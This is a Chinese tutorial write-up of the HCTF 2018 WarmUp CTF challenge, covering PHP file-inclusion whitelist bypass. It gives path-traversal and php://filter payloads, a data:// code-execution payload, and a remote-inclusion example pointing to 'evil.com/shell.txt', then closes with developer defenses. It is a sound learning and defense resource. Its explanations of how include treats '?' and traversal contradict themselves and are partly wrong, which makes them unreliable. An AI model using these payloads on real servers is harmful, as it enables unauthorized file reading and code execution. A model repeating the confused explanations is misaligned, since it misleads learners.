PHP文件包含漏洞实战:从代码审计到伪协议利用
发布时间:2026/8/15 22:31:14 作者:尧图编辑部 阅读量:1,286

1. 项目概述一次经典的PHP代码审计与文件包含实战最近在带新人入门CTFCapture The Flag的Web安全方向发现很多朋友对基础的代码审计和漏洞利用思路还是不够清晰。正好BUUCTF平台上那道经典的[HCTF 2018]WarmUp题目就是一个绝佳的教学案例。它没有复杂的框架没有眼花缭乱的混淆就是一段最“朴素”的PHP代码却精准地考察了我们对源代码审计、文件包含漏洞File Inclusion以及PHP伪协议PHP Wrapper的理解。这道题在各大CTF平台和比赛中被反复提及热度居高不下不是没有道理的。它就像Web安全的一道“开胃菜”看似简单但如果你对PHP的特性和服务器配置不熟悉很可能连门都摸不着。简单来说这道题给你一个Web页面页面上通常只有一个滑稽的笑脸图片源代码里也看不出什么端倪。真正的战场在网站的源代码文件里你需要找到并分析那个泄露了关键信息的source.php文件。通过审计这段PHP代码你会发现一个文件包含的入口但服务器设置了严格的白名单过滤。这时候考验的就是你如何利用PHP的编码技巧和服务器文件系统的特性绕过过滤最终读取到服务器上的flag文件。整个过程涉及信息搜集、代码审计、路径遍历、Payload构造等多个基础而核心的安全技能点。无论你是刚接触CTF的新手还是想巩固基础的爱好者通过亲手解出这道题都能对Web安全有一个更扎实、更直观的认识。接下来我就带你一步步拆解它不仅告诉你怎么做更告诉你为什么这么做。2. 环境准备与信息搜集一切从“源代码”开始2.1 题目初探与常规信息搜集拿到任何一道Web题目第一步永远不是急着去点按钮或者乱输入而是进行最基础的信息搜集。对于WarmUp这道题我们首先访问目标网址。通常你会看到一个非常简洁的页面可能只有一个大大的笑脸表情比如除此之外页面上没有任何交互表单、链接或提示。很多新手到这一步就懵了不知道从何下手。这时候我们要动用浏览器的开发者工具F12。首先查看网页源代码CtrlU。在WarmUp这道题里查看源代码往往会有第一个发现在HTML注释里可能会直接给出提示比如!--source.php--。这就是出题人留给我们的第一个也是最重要的线索——核心的服务器端逻辑代码就在source.php这个文件里。如果页面上没有明显提示我们还需要进行目录扫描使用工具如dirsearch、gobuster或御剑等尝试发现是否存在source.php、index.php.bak、www.zip等常见的源码泄露文件。对于这道经典题source.php几乎是必存在的。注意信息搜集是安全测试的基石。养成习惯对任何目标都先执行以下操作1. 查看页面源代码和注释2. 检查HTTP响应头看是否有服务器信息、泄露的路径等3. 使用工具进行适度的目录和文件枚举。这能帮你发现很多意想不到的入口点。2.2 关键源码获取与分析入口当我们访问http://靶机地址/source.php后真正的挑战才开始。页面上会展示出这道题目的完整PHP后端源代码。这段代码不长但每一行都值得仔细推敲。作为解题者我们需要立刻进入“代码审计”模式。我的习惯是先把整段代码复制到本地的代码编辑器如VSCode、Sublime Text里方便高亮和分段分析。面对一段陌生的PHP代码审计的切入点通常是寻找用户输入点查找$_GET、$_POST、$_REQUEST、$_COOKIE等超全局变量。追踪输入的处理流程看用户输入经过了哪些函数处理如isset(),empty(),strpos(),substr(),in_array(),mb_substr()等。定位核心业务逻辑找到程序最终执行了什么操作如include(),require(),system(),eval()等。分析过滤与校验逻辑检查是否有白名单、黑名单、正则匹配等安全措施并思考其是否可被绕过。在WarmUp的源码中我们会迅速定位到一个关键函数它负责检查用户传入的文件路径是否合法。这个函数就是整个题目的“心脏”也是我们攻击的“靶心”。我们的所有后续操作都将围绕如何欺骗这个检查函数而展开。3. 核心漏洞原理PHP文件包含与校验绕过3.1 漏洞代码深度解析让我们来模拟一下WarmUp题目中核心的代码结构。为了讲解清晰我将其简化并重写如下这完全符合原题的逻辑精髓?php highlight_file(__FILE__); class emmm { public static function checkFile($page) { // 白名单列表 $whitelist [sourcesource.php,hinthint.php]; if (! isset($page) || !is_string($page)) { echo you cant see it; return false; } if (in_array($page, $whitelist)) { return true; } $_page mb_substr($page, 0, mb_strpos($page . ?, ?)); if (in_array($_page, $whitelist)) { return true; } $_page urldecode($page); $_page mb_substr($_page, 0, mb_strpos($_page . ?, ?)); if (in_array($_page, $whitelist)) { return true; } echo you cant see it; return false; } } if (! empty($_REQUEST[file]) // 检查file参数是否存在且非空 is_string($_REQUEST[file]) // 检查file参数是否为字符串 emmm::checkFile($_REQUEST[file]) // 调用检查函数 ) { include $_REQUEST[file]; // 核心的危险函数文件包含 } else { echo brimg src\https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\ /; } ?我们来逐行拆解这段代码的防御逻辑和潜在问题白名单机制$whitelist数组只允许包含source.php和hint.php两个文件。这是非常强的防御意味着直接传入flag.php、/etc/passwd等路径会被立刻拒绝。三级检查策略第一层直接判断传入的$page是否完全等于白名单中的值。第二层$_page mb_substr($page, 0, mb_strpos($page . ?, ?));这一行是关键。它先给$page末尾加上一个?然后查找第一个?的位置并截取从这个位置到开头的内容。它的目的是截取URL中问号?之前的部分。例如如果$page “source.php?123″那么$_page就是”source.php”。如果这个截取后的结果在白名单里也通过。第三层先对$page进行URL解码urldecode然后再执行和第二层一样的截取操作最后判断是否在白名单中。漏洞触发点include $_REQUEST[‘file’];。这是整个代码唯一动态包含文件的地方也是我们的目标。如果checkFile函数返回true我们传入的file参数值就会被当作文件路径包含进来。3.2 绕过思路的诞生利用校验与执行的不一致性漏洞的核心在于校验逻辑checkFile和最终执行逻辑include所处理的对象存在差异。checkFile函数只检查file参数问号之前的部分是否在白名单内。include语句却会加载整个file参数所代表的文件路径。这就产生了一个巨大的安全空隙只要我传入的文件路径其“问号之前的部分”是白名单里的文件那么无论“问号之后”是什么校验都会通过。而include函数会尝试加载整个路径。举个例子假设我们传入filesource.php?/../../../../flag。checkFile处理$page是”source.php?/../../../../flag”。第二层检查中mb_strpos($page . ‘?’, ‘?’)会找到第一个问号的位置在source.php后面mb_substr截取出”source.php”。”source.php”在白名单中检查通过include处理PHP的include函数接收到的是完整的”source.php?/../../../../flag”。在PHP中include在加载文件时会将问号?之后的内容解释为查询字符串query string而查询字符串在作为文件路径时会被忽略。所以include实际尝试加载的文件就是source.php。这似乎还没达到目的。这里就需要引入另一个关键知识PHP在包含文件时如果路径中包含../这样的目录遍历符号它会尝试进行路径跳转。而路径中的?及其后面的内容在文件系统层面是无效字符通常会被忽略或导致文件不存在错误。但是我们可以利用一个技巧在问号前面构造一个不存在的目录让PHP在解析时因为找不到文件而继续向后“吞掉”一部分路径。更通用的Payload构造基于以下原理include在包含形如source.php/xxxxx的路径时如果source.php不是一个目录PHP会报错。但如果我们传入source.php?../../../../flag校验通过但include可能无法正确跳转。然而经典的绕过方式是source.php?../../../../../ffffllllaaaagggg。这里的关键是你需要知道flag文件在服务器上的确切存储路径和文件名。题目通常会在另一个文件比如hint.php里给出提示。这也是为什么白名单里会有hint.php的原因。你需要先访问hint.php获取提示例如flag not in web directory!暗示flag在网站根目录之外然后结合目录遍历来读取系统文件。实际上最直接有效的Payload是利用PHP伪协议和目录遍历的组合。但在这道题原始的校验逻辑下更常见的绕过方式是filesource.php?../../../../../../ffffllllaaaagggg这个Payload的校验逻辑我们分析过了能通过。对于include来说它会尝试加载source.php?../../../../../../ffffllllaaaagggg。在Linux文件系统中?是合法文件名字符所以它会尝试寻找一个名叫source.php?../../../../../../ffffllllaaaagggg的奇葩文件显然找不到。但是这里有一个更精妙的利用点PHP的include在包含文件时如果路径中包含../它会进行目录回溯。而?在文件路径中是一个分隔符但PHP的include逻辑在某些情况下可能会因为找不到source.php?这个文件而将?后的../序列视为路径的一部分进行回溯。更稳定通用的方法是结合PHP伪协议。3.3 终极武器PHP Filter伪协议的应用虽然原题可能通过目录遍历就能解但为了彻底理解文件包含我们必须掌握PHP Filter伪协议。这是PHP文件包含漏洞中读取源码的利器。在代码审计中我们经常遇到文件包含漏洞但被包含的文件如flag.php可能不直接输出内容而是将内容赋值给变量如$flag’flag{xxx}’;或者需要满足特定条件才显示。这时直接包含是无法看到flag的。PHP Filter协议php://filter可以让我们以编码形式读取文件的源代码。其基本格式为php://filter/readconvert.base64-encode/resource文件名这个Payload的作用是告诉PHP我要读取资源resource指定的文件但在读取之前先用convert.base64-encode这个过滤器处理一下即进行base64编码。这样include语句就会尝试去包含经过base64编码后的文件内容流。因为编码后的内容是文本PHP会将其作为代码执行吗不会include包含的是这个“数据流”但由于数据流是base64编码的文本而非有效PHP代码通常会导致页面显示一堆base64编码的字符串或者报错信息里包含它。我们只需要将这段base64字符串解码就能得到文件的原始源代码。那么如何将伪协议融入这道题的绕过呢构造Payload如下filephp://filter/readconvert.base64-encode/resourcesource.php?../../../../../../ffffllllaaaagggg等等这个能通过checkFile吗我们来分析checkFile接收到的$page是”php://filter/readconvert.base64-encode/resourcesource.php?../../../../../../ffffllllaaaagggg”。进行第二层检查时它截取第一个?之前的部分即”php://filter/readconvert.base64-encode/resourcesource.php”。这个字符串显然不在[“source.php”, “hint.php”]这个白名单里检查失败。所以我们需要让问号之前的部分是白名单里的内容。聪明的做法是filesource.php?/../../../php://filter/readconvert.base64-encode/resource/ffffllllaaaagggg这个Payload的校验逻辑$page”source.php?/../../../php://filter/readconvert.base64-encode/resource/ffffllllaaaagggg”第二层检查截取第一个?之前的部分”source.php”- 在白名单中 - 通过这个Payload的include逻辑简化理解include “source.php?/../../../php://filter/readconvert.base64-encode/resource/ffffllllaaaagggg”;PHP会尝试包含这个路径。由于source.php?不是一个有效的文件结合路径中的../最终可能会使得include的参数在内部被解析为类似于php://filter/readconvert.base64-encode/resource/ffffllllaaaagggg的效果从而读取根目录下的ffffllllaaaagggg文件即flag的base64编码内容。实操心得在实战中Payload的构造需要根据服务器具体的报错信息进行微调。例如可能需要调整../的数量来准确跳转到目标目录。一个常用的技巧是先尝试包含/etc/passwd这个所有Linux系统都存在的文件来测试漏洞是否存在以及路径跳转的层数。Payload可以是filesource.php?../../../../../../etc/passwd。如果页面显示了/etc/passwd的内容说明漏洞存在且路径跳转正确接下来只需要将/etc/passwd替换成你猜测的flag文件路径即可。4. 完整解题步骤与操作实录4.1 步步为营从访问到获取Flag假设我们的靶机地址是http://123.456.789.101:8000。下面是我在实战环境中还原的完整解题流程你可以跟着一步步操作。第一步访问目标查看源代码打开浏览器访问http://123.456.789.101:8000。页面上显示一个笑脸图片。右键点击页面选择“查看网页源代码”或按CtrlU。在源代码中你很可能看到一行HTML注释!--source.php--。这就是我们的第一个线索。第二步获取核心源代码在浏览器地址栏中访问http://123.456.789.101:8000/source.php。页面会高亮显示source.php的PHP源代码。将这段代码完整地复制下来保存到本地文件以便仔细分析。第三步寻找提示文件根据源代码中的白名单$whitelist我们知道还有一个hint.php文件。访问http://123.456.789.101:8000/hint.php。页面上可能会显示一行提示例如flag not in web directory!或者直接给出一个奇怪的字符串如ffffllllaaaagggg。这个提示至关重要它告诉我们两件事① flag不在网站目录下② flag的文件名可能是ffffllllaaaagggg或类似。我们需要到网站目录的上级甚至根目录去寻找。第四步构造并测试目录遍历Payload我们需要让file参数通过checkFile检查。根据之前的分析Payload的基本格式是source.php?../*N 目标文件路径。首先测试漏洞是否存在以及需要多少层../。在浏览器中访问http://123.456.789.101:8000/source.php?filesource.php?../../../../../etc/passwd这里source.php?是为了通过白名单检查。../../../../../是目录回溯尝试跳转到根目录。/etc/passwd是测试文件。观察页面变化。如果页面不再显示笑脸而是出现了/etc/passwd文件的内容一堆用户信息恭喜你漏洞利用成功如果还是笑脸说明../层数不够需要增加比如尝试../../../../../../。如果页面报错如no such file or directory可能是层数太多需要减少。第五步获取Flag假设通过上一步测试我们确定Payloadsource.php?../../../../../../etc/passwd可以成功。现在将/etc/passwd替换为提示中可能的flag路径。如果提示是flag not in web directory!且网站根目录是/var/www/html/那么flag可能在根目录/下。尝试http://123.456.789.101:8000/source.php?filesource.php?../../../../../../ffffllllaaaagggg如果页面显示了flag例如一串flag{xxxx-xxxx-xxxx}那么解题完成。如果页面没有直接显示flag很可能因为flag可能存储在变量里我们就需要用到PHP Filter伪协议来读取源码。构造Payloadhttp://123.456.789.101:8000/source.php?filesource.php?/../../../../../php://filter/readconvert.base64-encode/resource/ffffllllaaaagggg访问这个链接页面可能会显示一堆乱码或者一个Base64编码的字符串以PD9waHA...开头。将这段Base64字符串完整复制。使用在线Base64解码工具或者在你的终端里使用命令echo “PD9waHAgICRmbGFnPSJmbGFne3g4eDh4OHh4OHh4fSI7ICAgPz4” | base64 -d替换引号内内容进行解码。解码后的内容就是ffffllllaaaagggg文件的源代码其中应该包含类似?php $flag”flag{xxx}”; ?的代码flag就在里面。4.2 使用Burp Suite进行高效测试在浏览器地址栏手动构造和修改Payload非常麻烦尤其是调整../层数的时候。使用代理工具Burp Suite会高效得多。配置代理打开Burp Suite确保Proxy拦截功能开启浏览器配置好代理如127.0.0.1:8080。捕获请求在浏览器中正常访问http://靶机地址/source.php。这个请求会被Burp Suite截获。发送到Repeater在Burp的Proxy界面右键点击捕获到的请求选择Send to Repeater。在Repeater中修改切换到Repeater标签页。你会看到原始的GET请求。找到URL或参数部分修改file参数。例如将请求行改为GET /source.php?filesource.php?../../../../../etc/passwd HTTP/1.1发送与观察点击Send按钮右侧就会显示服务器的响应。你可以清晰地在响应体Response body中看到是否包含/etc/passwd的内容。快速迭代如果需要修改Payload比如增加../只需在请求中修改再次点击Send即可无需刷新浏览器极大提升测试效率。5. 知识延伸与防御思考5.1 从WarmUp看文件包含漏洞的变种WarmUp展示的是最经典的白名单绕过。在实战和更复杂的CTF题中文件包含漏洞的利用方式更加多样日志文件包含Log Poisoning如果服务器能包含日志文件如/var/log/apache2/access.log并且我们能通过User-Agent或GET参数将PHP代码注入到日志中再包含该日志就能执行代码。Session文件包含PHP的Session文件通常存储在/tmp或特定目录文件名与Session ID相关如sess_sessionid。如果我们能控制部分Session内容如$_SESSION[‘data’]’?php system(“ls”);?’并且知道Session文件路径就可以包含它来执行代码。PHP伪协议全家桶php://input可以包含POST请求的原始数据作为PHP代码执行。需要allow_url_includeOn。php://filter如上所述用于读取源码。data://类似php://input可以直接在URI中携带Base64编码的代码执行。例如data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOz8。远程文件包含RFI如果allow_url_fopen和allow_url_include均为On且服务器未对包含路径做协议限制可以直接包含远程服务器上的恶意PHP文件如http://evil.com/shell.txt需以.php等后缀结尾。5.2 开发者如何防御文件包含漏洞作为开发者绝不能写出像WarmUp中那样存在逻辑缺陷的检查代码。以下是一些根本性的防御措施避免动态包含尽可能使用静态包含。如果业务必须动态则应采用严格的白名单机制且白名单应基于业务需求预先定义好而不是从用户输入中截取。校验与执行对象必须一致这是WarmUp题目的核心教训。校验函数检查的路径必须和最终include/require使用的路径完全一致。最好的做法是校验通过后不再使用用户输入的原始路径而是使用校验通过后映射到的、确定的安全路径。// 正确做法示例 $whitelist [‘page1’ ‘./templates/page1.php’, ‘page2’ ‘./templates/page2.php’]; $key $_GET[‘page’]; if (array_key_exists($key, $whitelist)) { include($whitelist[$key]); // 使用预定义的路径而非用户输入 } else { include(‘./templates/default.php’); }关闭危险配置在php.ini中确保allow_url_fopen Offallow_url_include Off这可以彻底杜绝远程文件包含RFI和部分伪协议的滥用。设置open_basedir在php.ini或虚拟主机配置中使用open_basedir指令将PHP可操作的文件限制在网站目录内防止跨目录访问。对用户输入进行严格过滤如果必须接受用户输入作为路径的一部分应使用realpath()函数解析绝对路径并与允许的基准目录进行比较确保包含文件不会跳出安全范围。5.3 给CTF新手的进阶学习建议通过WarmUp你应该已经掌握了文件包含的基本原理和一种绕过方法。但要真正精通我建议搭建本地靶场使用Docker或PHPStudy等工具在本地搭建一个可以随意修改、测试的环境。把有漏洞的代码复制过去亲手尝试各种Payload观察报错信息理解每一步背后的原理。阅读PHP官方手册特别是关于include/require语句、php://和data://协议、文件系统函数的部分。官方文档是最权威的参考资料。刷题平台练习在BUUCTF、CTFHub、攻防世界等平台搜索“文件包含”、“PHP”、“代码审计”相关标签的题目进行专项练习。从易到难逐步提升。学习源代码审计工具虽然手动审计是基础但了解一些辅助工具如rips、phpcs配合安全规则可以提高效率。关注漏洞实际案例在各大安全社区如Seebug、先知社区关注真实的文件包含漏洞审计案例了解漏洞在复杂业务场景中的表现形式和利用方式。这道[HCTF 2018]WarmUp就像一位沉默的老师它用最简洁的代码向你揭示了安全开发中一个深刻的原则安全校验的每一个环节都必须无懈可击任何微小的逻辑缝隙都可能被放大成致命的漏洞。从看懂代码到构造出Payload这个过程锻炼的不仅仅是技巧更是一种发现和利用系统“思维盲区”的能力。这种能力无论是对于CTF竞技还是对于真正的安全从业者都是至关重要的起点。